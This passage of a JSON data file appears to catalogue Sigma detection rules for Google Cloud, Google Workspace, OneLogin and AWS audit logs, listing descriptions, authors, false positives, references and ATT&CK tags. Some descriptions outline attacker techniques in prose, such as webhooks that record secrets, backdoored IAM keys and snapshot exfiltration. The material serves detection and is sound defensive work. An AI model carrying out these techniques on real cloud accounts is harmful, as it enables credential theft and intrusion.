        "filename": "gcp_dns_zone_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/dns/docs/reference/v1/managedZones",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dns_zone_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3",
      "value": "Google Cloud DNS Zone Modified or Deleted"
    },
    {
      "description": "Identifies when the Secrets are Modified or Deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3",
      "value": "Google Cloud Kubernetes Secrets Modified or Deleted"
    },
    {
      "description": "Detect when a Cloud SQL DB has been modified or deleted.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/15",
        "falsepositive": [
          "SQL Database being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_sql_database_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_sql_database_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d",
      "value": "Google Cloud SQL Database Modified or Deleted"
    },
    {
      "description": "Identifies when a service account is modified in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/14",
        "falsepositive": [
          "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_service_account_modified.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_modified.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc",
      "value": "Google Cloud Service Account Modified"
    },
    {
      "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_kubernetes_rolebinding.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control",
          "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
          "https://github.com/elastic/detection-rules/pull/1267",
          "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole",
          "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_rolebinding.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e",
      "value": "Google Cloud Kubernetes RoleBinding"
    },
    {
      "description": "Detects when storage bucket is enumerated in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/14",
        "falsepositive": [
          "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_bucket_enumeration.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/storage/docs/json_api/v1/buckets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket_enumeration.yml"
        ],
        "tags": [
          "attack.discovery"
        ]
      },
      "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3",
      "value": "Google Cloud Storage Buckets Enumeration"
    },
    {
      "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/22",
        "falsepositive": [
          "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.",
          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_kubernetes_cronjob.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/kubernetes-engine/docs",
          "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
          "https://kubernetes.io/docs/concepts/workloads/controllers/job/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_cronjob.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.execution"
        ]
      },
      "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435",
      "value": "Google Cloud Kubernetes CronJob"
    },
    {
      "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/16",
        "falsepositive": [
          "VPN Tunnel being modified or deleted may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_vpn_tunnel_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://any-api.com/googleapis_com/compute/docs/vpnTunnels",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_vpn_tunnel_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1",
      "value": "Google Cloud VPN Tunnel Modified or Deleted"
    },
    {
      "description": "Detects  when a firewall rule is modified or deleted in Google Cloud Platform (GCP).",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/13",
        "falsepositive": [
          "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.",
          "Exceptions can be added to this rule to filter expected behavior."
        ],
        "filename": "gcp_firewall_rule_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html",
          "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b",
      "value": "Google Cloud Firewall Modified or Deleted"
    },
    {
      "description": "Identifies when sensitive information is re-identified in google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "gcp_dlp_re_identifies_sensitive_information.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dlp_re_identifies_sensitive_information.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1565"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7",
      "value": "Google Cloud Re-identifies Sensitive Information"
    },
    {
      "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/25",
        "falsepositive": [
          "Google Cloud Kubernetes Admission Controller may be done by a system administrator.",
          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_kubernetes_admission_controller.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/kubernetes-engine/docs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_admission_controller.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1078",
          "attack.credential_access",
          "attack.t1552",
          "attack.t1552.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6ad91e31-53df-4826-bd27-0166171c8040",
      "value": "Google Cloud Kubernetes Admission Controller"
    },
    {
      "description": "Identifies when a service account is disabled or deleted in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/14",
        "falsepositive": [
          "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_service_account_disabled_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_disabled_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1531"
        ]
      },
      "related": [
        {
          "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f",
      "value": "Google Cloud Service Account Disabled or Deleted"
    },
    {
      "description": "Detects when storage bucket is modified or deleted in Google Cloud.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/14",
        "falsepositive": [
          "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_bucket_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/storage/docs/json_api/v1/buckets",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0",
      "value": "Google Cloud Storage Buckets Modified or Deleted"
    },
    {
      "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/13",
        "falsepositive": [
          "Full Network Packet Capture may be done by a system or network administrator.",
          "If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "gcp_full_network_traffic_packet_capture.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html",
          "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_full_network_traffic_packet_capture.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1074"
        ]
      },
      "related": [
        {
          "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e",
      "value": "Google Full Network Traffic Packet Capture"
    },
    {
      "description": "Detects when an a role privilege is deleted in Google Workspace.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "gcp_gworkspace_role_privilege_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings",
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_privilege_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267",
      "value": "Google Workspace Role Privilege Deleted"
    },
    {
      "description": "Detects when multi-factor authentication (MFA) is disabled.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "MFA may be disabled and performed by a system administrator."
        ],
        "filename": "gcp_gworkspace_mfa_disabled.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION",
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c",
      "value": "Google Workspace MFA Disabled"
    },
    {
      "description": "Detects when an an application is removed from Google Workspace.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/26",
        "falsepositive": [
          "Application being removed may be performed by a System Administrator."
        ],
        "filename": "gcp_gworkspace_application_removed.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST",
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4",
      "value": "Google Workspace Application Removed"
    },
    {
      "description": "Detects when an API access service account is granted domain authority.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "gcp_gworkspace_granted_domain_api_access.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS",
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_granted_domain_api_access.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba",
      "value": "Google Workspace Granted Domain API Access"
    },
    {
      "description": "Detects when an Google Workspace user is granted admin privileges.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Google Workspace admin role privileges, may be modified by system administrators."
        ],
        "filename": "gcp_gworkspace_user_granted_admin_privileges.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_user_granted_admin_privileges.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788",
      "value": "Google Workspace User Granted Admin Privileges"
    },
    {
      "description": "Detects when an a role is modified or deleted in Google Workspace.",
      "meta": {
        "author": "Austin Songer",
        "creation_date": "2021/08/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "gcp_gworkspace_role_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "gcp",
        "refs": [
          "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings",
          "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e",
      "value": "Google Workspace Role Modified or Deleted"
    },
    {
      "description": "Detects when an user assumed another user account.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "onelogin_assumed_another_user.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "onelogin",
        "refs": [
          "https://developers.onelogin.com/api-docs/1/events/event-resource",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "62fff148-278d-497e-8ecd-ad6083231a35",
      "value": "OneLogin User Assumed Another User"
    },
    {
      "description": "Detects when an user account is locked or suspended.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/12",
        "falsepositive": [
          "System may lock or suspend user accounts."
        ],
        "filename": "onelogin_user_account_locked.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "onelogin",
        "refs": [
          "https://developers.onelogin.com/api-docs/1/events/event-resource/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml"
        ],
        "tags": [
          "attack.impact"
        ]
      },
      "uuid": "a717c561-d117-437e-b2d9-0118a7035d01",
      "value": "OneLogin User Account Locked"
    },
    {
      "description": "Detects when a user tampers with S3 data management in Amazon Web Services.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "A S3 configuration change may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. S3 configuration change from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "aws_s3_data_management_tampering.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html",
          "https://github.com/elastic/detection-rules/pull/1145/files",
          "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketEncryption.html",
          "https://docs.aws.amazon.com/AmazonS3/latest/userguide/setting-repl-config-perm-overview.html",
          "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketWebsite.html",
          "https://docs.aws.amazon.com/AmazonS3/latest/API/API_Operations.html",
          "https://docs.aws.amazon.com/AmazonS3/latest/API/API_RestoreObject.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_s3_data_management_tampering.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1537"
        ]
      },
      "related": [
        {
          "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "78b3756a-7804-4ef7-8555-7b9024a02e2d",
      "value": "AWS S3 Data Management Tampering"
    },
    {
      "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2021/06/29",
        "falsepositive": [
          "System Administrator Activities",
          "DEV, UAT, SAT environment. You should apply this rule with PROD account only."
        ],
        "filename": "aws_ec2_disable_encryption.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_ec2_disable_encryption.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1486",
          "attack.t1565"
        ]
      },
      "related": [
        {
          "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "16124c2d-e40b-4fcc-8f2c-5ab7870a2223",
      "value": "AWS EC2 Disable EBS Encryption"
    },
    {
      "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n",
      "meta": {
        "author": "faloker",
        "creation_date": "2020/02/12",
        "falsepositive": [
          "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)",
          "AWS API keys legitimate exchange workflows"
        ],
        "filename": "aws_iam_backdoor_users_keys.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__backdoor_users_keys/main.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_backdoor_users_keys.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1098"
        ]
      },
      "related": [
        {
          "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0a5177f4-6ca9-44c2-aacf-d3f3d8b6e4d2",
      "value": "AWS IAM Backdoor Users Keys"
    },
    {
      "description": "Detects the modification of the findings on SecurityHub.",
      "meta": {
        "author": "Sittikorn S",
        "creation_date": "2021/06/28",
        "falsepositive": [
          "System or Network administrator behaviors",
          "DEV, UAT, SAT environment. You should apply this rule with PROD environment only."
        ],
        "filename": "aws_securityhub_finding_evasion.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/cli/latest/reference/securityhub/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_securityhub_finding_evasion.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a607e1fe-74bf-4440-a3ec-b059b9103157",
      "value": "AWS SecurityHub Findings Evasion"
    },
    {
      "description": "Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities",
      "meta": {
        "author": "Janantha Marasinghe",
        "creation_date": "2022/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "aws_delete_identity.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_delete_identity.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "20f754db-d025-4a8f-9d74-e0037e999a9a",
      "value": "SES Identity Has Been Deleted"
    },
    {
      "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account",
      "meta": {
        "author": "Darin Smith",
        "creation_date": "2021/05/17",
        "falsepositive": [
          "Valid change to a snapshot's permissions"
        ],
        "filename": "aws_snapshot_backup_exfiltration.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://www.justice.gov/file/1080281/download",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_snapshot_backup_exfiltration.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1537"
        ]
      },
      "related": [
        {
          "dest-uuid": "d4bdbdea-eaec-4071-b4f9-5105e12ea4b6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "abae8fec-57bd-4f87-aff6-6e3db989843d",
      "value": "AWS Snapshot Backup Exfiltration"
    },
    {
      "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/08/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "aws_efs_fileshare_mount_modified_or_deleted.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "aws",
        "refs": [
          "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_efs_fileshare_mount_modified_or_deleted.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6a7ba45c-63d8-473e-9736-2eaabff79964",
      "value": "AWS EFS Fileshare Mount Modified or Deleted"
    },
    {
